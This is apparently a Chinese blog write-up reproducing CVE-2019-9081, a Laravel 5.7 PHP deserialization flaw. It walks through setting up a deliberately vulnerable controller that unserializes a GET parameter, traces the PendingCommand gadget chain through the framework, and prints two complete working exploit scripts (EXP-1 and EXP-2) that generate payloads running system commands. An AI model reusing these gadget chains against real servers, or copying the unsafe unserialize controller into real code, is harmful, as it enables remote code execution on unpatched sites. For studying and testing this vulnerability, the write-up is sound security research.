我的复现都是跟着空白师傅来的:
Laravel5.7(CVE-2019-9081)反序列化漏洞分析与复现_laravel代码审计-CSDN博客
空白师傅写的更精简一些,我的要啰嗦很多,毕竟很菜,记录了很多自己的尝试和想法,希望可以给各位师傅当个参考。
环境搭建
vscode+phpstudy+php 7.4.3
用composer下载Laravel5.7。
composer搭建:
Packagist/Composer中国全量镜像 (pkg.xyz)
php -r "copy('https://install.phpcomposer.com/installer', 'composer-setup.php');"
php composer-setup.php
php -r "unlink('composer-setup.php');"
将得到的composer.phar复制在phpstudy的php目录中,和php.exe为同级目录,必须要大于7.1.3,且不能用php8版本的(踩坑)
然后打开命令行:
composer create-project laravel/laravel=5.7.* --prefer-dist D:\phpstudy_pro\WWW\Laravel5.7
(注意,phpstudy的根目录php版本也要用7.x版本,这里我之前用的8.x版本忘了改就配置失败了。)
如果配置好了,访问/public文件夹:
配置XDEBUG
vscode调试php(解决vscode远程调试无效的问题)_vscodexdebug无法监听-CSDN博客
Xdebug延长调试时间_xdebug 调试时间-CSDN博客
配置反序列化入口
在app\http\Controllers下新建控制器:
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; class test_Controller extends Controller { public function test() { return unserialize($_GET['c']); } } ?>
在routes\web.php添加路由:
Route::get('/test','test_Controller@test');//类名@方法名
最终我的访问url,是要访问/public/index.php/test才能访问成功的。
代码审计
起点在vendor\laravel\framework\src\Illuminate\Foundation\Testing\PendingCommand.php
PendingCommand类的__destruct方法:
其中这个hasExecuted是执行了run()才会为真,默认为false。
跟进run():
可以看到注释写着执行命令,且注意call参数的参数名称:command。
这里的思路是这样的:因为途经的代码很多,可以试着传递命令执行的函数进去,并通过debug功能一步一步走,看最终能否成功执行函数。中途肯定是有很大机率报错的,因为我们是单独的利用这串利用链,而不是正常用这整功能,可能会有一些途径上的必要参数没有传递进去,我们的任务便是跟着调试一步一步走,不断修改报错并观察结果。
<?php
namespace Illuminate\Foundation\Testing
{
class PendingCommand
{
public $command;
protected $parameters;
public function __construct()
{
$this->command='system';
$this->parameters='ipconfig';
}
}}
namespace a
{ use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand));
}
?>
将值传给控制器:
发现parameters要求是数组,因为我们不知道它是怎么用数组作为参数,比如是取键值还是利用其本身,我们可以用phpinfo()这个万金油的函数(无论phpinfo(1),还是phpinfo($a[]=1)都可以执行)
修改测试poc:
继续:
这里的$test没有赋值,且是可以控制的,全局搜索expectedQuestions,只找到了一个trait,不可以实例化:
那么便会想到找__get方法,这里就有两种思路了:
第一种思路是以这里为跳板,找其它执行执行函数的地方,当然,这个思路看起来是扯淡的,因为我们已经找到了一个可以执行函数的地方,为什么还要多此一举呢?
第二种思路是跟着之前的思路走,找个类有可以返回数组值的__get方法,只是填充一下链子的途径的必要参数,把我们之前以run()方法为执行点的利用链走完。
思路1.
产生思路1的原因是我找__get的时候偶然发现一个熟悉的身影:
跟进format:
这不就是yii2的那条利用链吗!并且还有
call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
的抽象类
找到一个继承类(抽象类不可以被实例化,其继承类才会):
试着构造了这样一个exp:
<?php
namespace PharIo\Manifest
{
class AuthorTest
{
private $outputCallback;
private $output;
public function __construct()
{
$this->outputCallback="system";
$this->output="ipconfig";
}
}
}
namespace Faker
{
use Illuminate\Foundation\Testing\PendingCommand;
use PharIo\Manifest\AuthorTest;
class Generator
{
private $formatters;
public function __construct()
{
$this->formatters['expectedQuestions']=[new AuthorTest,'stopOutputBuffering'];
}
}
}
namespace Illuminate\Foundation\Testing
{ use Faker\Generator;
class PendingCommand
{
public $test;
public $command;
protected $parameters;
public function __construct()
{
$this->command=111;
$this->parameters[]=1;
$this->test=new Generator;
}
}}
namespace a
{ use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand));
}
?>
弄了许久,然后我才发现stopOutputBuffering方法,也就是call_user_func所在方法是一个private方法,不允许子类访问。。。。。。寄。不过还是挺有收获的。
思路2.
那么按着原先的思路走,找到了一个能构造返回值的__get方法:
改测试exp;
<?php
namespace Faker
{
class DefaultGenerator
{
protected $default=array(1,1);
}
}
namespace Illuminate\Foundation\Testing
{
use Faker\DefaultGenerator;
class PendingCommand
{
public $test;
public $command;
protected $parameters;
public function __construct()
{
$this->command='phpinfo';
$this->parameters[]=1;
$this->test=new DefaultGenerator();
}
}}
namespace a
{ use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand));
}
?>
继续:
同理,找__call方法
还是刚才那个类:
修改:
继续:
看了一看app的属性:
要传入application的实例化类:
这时设置一下断点,进入调试模式单步调式。
这里便是执行代码的关键。
可以看到要调用call函数的话,前面app[]必须返回application对象(call方法在application类中)。那么我们的目的便是让其返回application对象。
跟着调试继续走:
直接来到Container下的offsetGet方法。
跟进make:
跟进resolve:
protected function resolve($abstract, $parameters = [])
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null(
$this->getContextualConcrete($abstract)
);
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
$this->with[] = $parameters;
$concrete = $this->getConcrete($abstract);
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
if ($this->isShared($abstract) && ! $needsContextualBuild) {
$this->instances[$abstract] = $object;
}
$this->fireResolvingCallbacks($abstract, $object);
$this->resolved[$abstract] = true;
array_pop($this->with);
return $object;
}
牢记我们的目的:让resolve返回application对象。
这里有两种方法,衍生出来两条链子。一种是进入第一个if,且直接返回application对象,第二种是走完剩下的,return object返回的是application。
第一条链子
我们想要
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null(
$this->getContextualConcrete($abstract)
);
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
直接返回application object。
其中abstract的值是Illuminate\Contracts\Console\Kernel:
这是变不了的,因为这就是:
现在要触发return的话,需要$needsContextualBuild为0且isset($this->instances[$abstract])为1,现在先关注 $needsContextualBuild。
令$needsContextualBuild=0
其中! empty($parameters)
已经是0了,只需要$this->getContextualConcrete($abstract)返回NULL,那么跟进getContextualConcrete:
只要让它return一个null值我们的目的便达成了,看第二个if,abstractAliases['Illuminate\Contracts\Console\Kernel']是未设置的,所以直接返回NULL。
那么这里其实什么也没做就使得$needsContextualBuild=0了。
令$this->instances[$abstract]为一个application对象
$this->instances[$abstract]为一个application对象的话既满足了return的条件:
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) { return $this->instances[$abstract]; }
又能返回一个application对象。
这个就轻松多了,直接:
use .....\application
$this->instances=array('llluminate\Contracts\Console\Kernel'=>new application)
这样的话就直接返回了一个application对象来调用call,我们继续跟进一下call方法。
call方法是Container类中的方法,被application类所继承:
而这个类的实现又是靠的Illuminate\Container\BoundMethod类中的call方法:
我们肯定是要那个call_user_func_array执行命令,前面的if是一定要bypass的,$defaultMethod已经为NULL了,只需isCallableWithAtSign($callback)为0即可:
那没事了,因为我们函数里面没有"@",所以返回0,此时我们眼光放在:
return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
});
跟进getMethodDependencies:
protected static function getMethodDependencies($container, $callback, array $parameters = [])
{
$dependencies = [];
foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
}
return array_merge($dependencies, $parameters);
}
跟进getCallReflector:
protected static function getCallReflector($callback)
{
if (is_string($callback) && strpos($callback, '::') !== false) {
$callback = explode('::', $callback);
}
return is_array($callback)
? new ReflectionMethod($callback[0], $callback[1])
: new ReflectionFunction($callback);
}
返回new ReflectionFunction($callback),ReflectionFunction是一个反射类,可以通过这个对象来获得方法的名称,属性等。
然后对于static::getCallReflector($callback)->getParameters():
不过我们传递的phpinfo是没有参数的。
跟进addDependencyForCallParameter:
看最后一个elseif:
进入最后一个elseif。
那么这里返回$dependencies[]=
返回默认值,我们的默认值还是空,毕竟phpinfo()嘛。
那么这里就变成了类似于:
call_user_func_array( 'phpinfo',array() );
到此,整个利用链结束。
EXP-1
先总结一下思路:
Illuminate\Foundation\Testing\PendingCommand.__construct()-->run()
在run()中通过Faker\DefaultGenerator满足条件,来到 $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
给app赋值为new application,且初始化$this->instances。
随后经过application->call()按默认条件就能执行phpinfo()。
构造EXP,注意一下这里对Application的处理。
<?php
//注意 可能post环境或者一些环境将命令参数中的空格url编码成+的话做不了了,post不会将+看成空格。需要手动将+换成空格。
//然后对于属性的性质如protected,public这些不要乱变动,我之前些错了导致做不出来。
namespace Illuminate\Foundation
{
class Application
{
protected $instances=[];
public function __construct($a=[])
{
$this->instances['Illuminate\Contracts\Console\Kernel']=$a;
}
}
}
namespace Faker
{
class DefaultGenerator
{
protected $default=array(1,1);
}
}
namespace Illuminate\Foundation\Testing
{
use Faker\DefaultGenerator;
class PendingCommand
{
public $test;
protected $command;
protected $parameters;
protected $app;
public function __construct($app)
{
$this->command='phpinfo';
$this->parameters[]=1;
$this->test=new DefaultGenerator();
$this->app=$app;
}
}}
namespace
{ use Illuminate\Foundation\Testing\PendingCommand;
use Illuminate\Foundation\Application;
$a=new Application();
$app=new Application($a);
echo urlencode(serialize(new PendingCommand($app)));
}
?>
试试
$this->command='system'; $this->parameters[]='ipconfig';
这里传的parameters[]和resolve里面的parameters是不一样的,这个parameters是来源于最早offset方法下的make方法,所以是会在resolve方法中满足第一个if满足application的(之前复现的时候没走过来这个坑)
第二条链子
差异点只在resolve如何返回application对象的,让我们重新回到resolve方法:
protected function resolve($abstract, $parameters = [])
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null(
$this->getContextualConcrete($abstract)
);
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
//进入下方
$this->with[] = $parameters;
$concrete = $this->getConcrete($abstract);
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
if ($this->isShared($abstract) && ! $needsContextualBuild) {
$this->instances[$abstract] = $object;
}
$this->fireResolvingCallbacks($abstract, $object);
$this->resolved[$abstract] = true;
array_pop($this->with);
return $object;
}
不用第一个if的话就不设置$this->instances['Illuminate\Contracts\Console\Kernel']=$a了,直接往后走。这里先不急着看getConcrete方法,我们先看看后面是怎样一个逻辑,才能知道我们的利用方向。
跟进build:
public function build($concrete)
{
if ($concrete instanceof Closure) {
return $concrete($this, $this->getLastParameterOverride());
}
$reflector = new ReflectionClass($concrete);
if (! $reflector->isInstantiable()) {
return $this->notInstantiable($concrete);
}
$this->buildStack[] = $concrete;
$constructor = $reflector->getConstructor();
if (is_null($constructor)) {
array_pop($this->buildStack);
return new $concrete;
}
$dependencies = $constructor->getParameters();
$instances = $this->resolveDependencies(
$dependencies
);
array_pop($this->buildStack);
return $reflector->newInstanceArgs($instances);
}
其实看了两眼就明白这一系列函数是怎么回事了,就是实例化类似Illuminate\Contracts\Console\Kernel的对象,其实到了这里我才恍然大悟,原来这其实就是一个命名空间下的某个对象,是可以直接这样表示的,我之前一直以为是某条什么路径。
其中我们大概率是不会用到第二个if语句返回值的:
if (! $reflector->isInstantiable()) { return $this->notInstantiable($concrete); }
ReflectionClass::isInstantiable是判断这个类能否实例化,我们如果要利用前面的传入application类,是肯定能实例化的。
其中 if ($concrete instanceof Closure)是判断这个$concrete是否为闭包,闭包都是指在函数中调用一个匿名函数,具体就不解释了,所以这个if也是不会进入的。
然后后面就是判断类是否有__construct方法,我们的application是有的,然后就是获取构造函数的参数,并ReflectionClass::newInstanceArgs用其参数构造类并返回。
那么我们的目的就很明确了,让$concrete为application。
那么回到
$concrete = $this->getConcrete($abstract);
进入getConcrete:
很好,直接利用第二个if给bindings赋值Illuminate\Foundation\application。
类似于:
$bindings=array('Illuminate\Contracts\Console\Kernel'=>array('concrete'=>Illuminate\Foundation\application))
这里不会直接进入build,而是会经过第二个if,再进入一次make-->reslove,然后才会build,因为$this->isBuildable($concrete, $abstract)
:
现在我们的$object已经拿到我们想要的东西了,现在就是继续望后看让$object保持原样。
其实后面也没有什么了,不会对object有什么本质的影响了,到此成功返回application。
EXP-2
<?php
//注意 可能post环境或者一些环境将命令参数中的空格url编码成+的话做不了了,post不会将+看成空格。需要手动将+换成空格。
//然后对于属性的性质如protected,public这些不要乱变动,我之前些错了导致做不出来。
namespace Illuminate\Foundation
{
class Application
{
protected $bindings = [];
public function __construct()
{
$this->bindings['Illuminate\Contracts\Console\Kernel']['concrete']='Illuminate\Foundation\application';
}
}
}
namespace Faker
{
class DefaultGenerator
{
protected $default=array(1,1);
}
}
namespace Illuminate\Foundation\Testing
{
use Faker\DefaultGenerator;
use Illuminate\Foundation\Application;
class PendingCommand
{
public $test;
protected $command;
protected $parameters;
protected $app;
public function __construct()
{
$this->command='phpinfo';
$this->parameters[]=1;
$this->test=new DefaultGenerator();
$this->app=new application();
}
}}
namespace
{ use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
?>
system ipconfig: